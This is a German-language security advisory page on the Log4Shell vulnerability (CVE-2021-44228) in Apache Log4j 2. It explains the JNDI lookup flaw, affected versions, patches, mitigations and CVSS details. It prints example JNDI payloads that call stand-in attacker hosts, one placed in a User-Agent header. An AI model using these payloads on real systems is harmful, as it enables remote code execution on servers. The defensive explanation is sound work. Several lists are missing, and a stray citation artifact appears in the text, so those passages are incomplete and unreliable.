
CVE-2021-44228
Eine kritische Remote-Code-Ausführungs-Sicherheitslücke in Apache Log4j 2, weithin bekannt als Log4Shell.
CVE-2021-44228 ist eine kritische RCE-Schwachstelle in :contentReference[oaicite:0]{index=0} Version 2.x (vor 2.15.0), entdeckt im Dezember 2021.
Sie ermöglicht es nicht authentifizierten entfernten Angreifern, beliebigen Code auf verwundbaren Systemen auszuführen, indem sie einfach speziell gestaltete Eingaben senden, die von Log4j protokolliert werden. Der Fehler betrifft unzählige Java-basierte Anwendungen und Dienste weltweit.
Die Sicherheitslücke entsteht durch Log4js Handhabung von JNDI-Lookups in protokollierten Zeichenfolgen. Ein Angreifer kann eine bösartige JNDI-Ressource in eine protokollierte Nachricht einbetten (z. B. LDAP, DNS), wie:
${jndi:ldap://attacker.com/a}
Log4j wird:
Dies ermöglicht es einem Angreifer, eine vollständige Remote Code Execution (RCE) auf betroffenen Diensten zu erreichen.
Da Log4j in unzähligen Bibliotheken und Anwendungen verwendet wird, könnte jedes System, das nicht vertrauenswürdige Daten protokolliert, verwundbar sein.
Die folgenden Versionen von Log4j 2 sind verwundbar:
> = 2.0-beta9 and < 2.15.0
Zusätzlich waren einige Konfigurationen von 2.15.0 immer noch ausnutzbar, daher sind 2.16.0 und höher die sichere Basis.
Aktualisieren Sie auf Log4j 2-Versionen:
2.17.1 or later
Spätere Patches verbessern die Sicherheit weiter (z. B. 2.17.2, 2.19.0, usw.).
Wenn ein sofortiges Upgrade nicht möglich ist, können Sie:
log4j2.formatMsgNoLookups=true
JndiLookup-Klasse aus dem Classpath:
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Diese Schritte helfen, die Gefährdung zu reduzieren, bis Sie aktualisieren können.
Diese Sicherheitslücke ist extrem einfach auszunutzen. Ein Angreifer muss nur eine manipulierte Zeichenfolge senden (z. B. über HTTP-Header, Formularparameter, Chat-Nachrichten, Datenbankfelder), die von der Anwendung protokolliert wird:
User-Agent: ${jndi:ldap://attacker.example/a}
Sobald sie protokolliert wurde, führt die Anwendung einen entfernten Lookup durch und kann gezwungen werden, vom Angreifer kontrollierten Java-Code auszuführen.
Log4Shell hatte massive globale Auswirkungen:
Dies ist eine der bedeutendsten Sicherheitslücken seit Jahrzehnten.
Sie können verwundbare Systeme erkennen, indem Sie:
${jndi:)Wenn Ihre Anwendung oder eine von Ihnen verwendete Bibliothek auf Log4j 2.x angewiesen ist, aktualisieren Sie sofort auf eine gepatchte Version (≥ 2.17.1) und stellen Sie sicher, dass JNDI-Lookups deaktiviert oder entfernt sind, wo möglich.
| Metrik | Detail |
|---|
| CVSS v3.1 Basis-Score | 10.0 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Authentifizierung | Nicht erforderlich |
| Auswirkung | Vollständige RCE |
| Feld | Wert |
|---|
| CVE-ID | CVE-2021-44228 |
| Spitzname | Log4Shell |
| Produkt | Apache Log4j 2 |
| Schweregrad | Kritisch (CVSS 10.0) |
| Typ | Remote Code Execution |
| Auswirkung | Vollständige Systemkompromittierung |
| Ausnutzbarkeit | Extrem einfach |
| Gegenmaßnahme | Patchen auf ≥ 2.17.1 |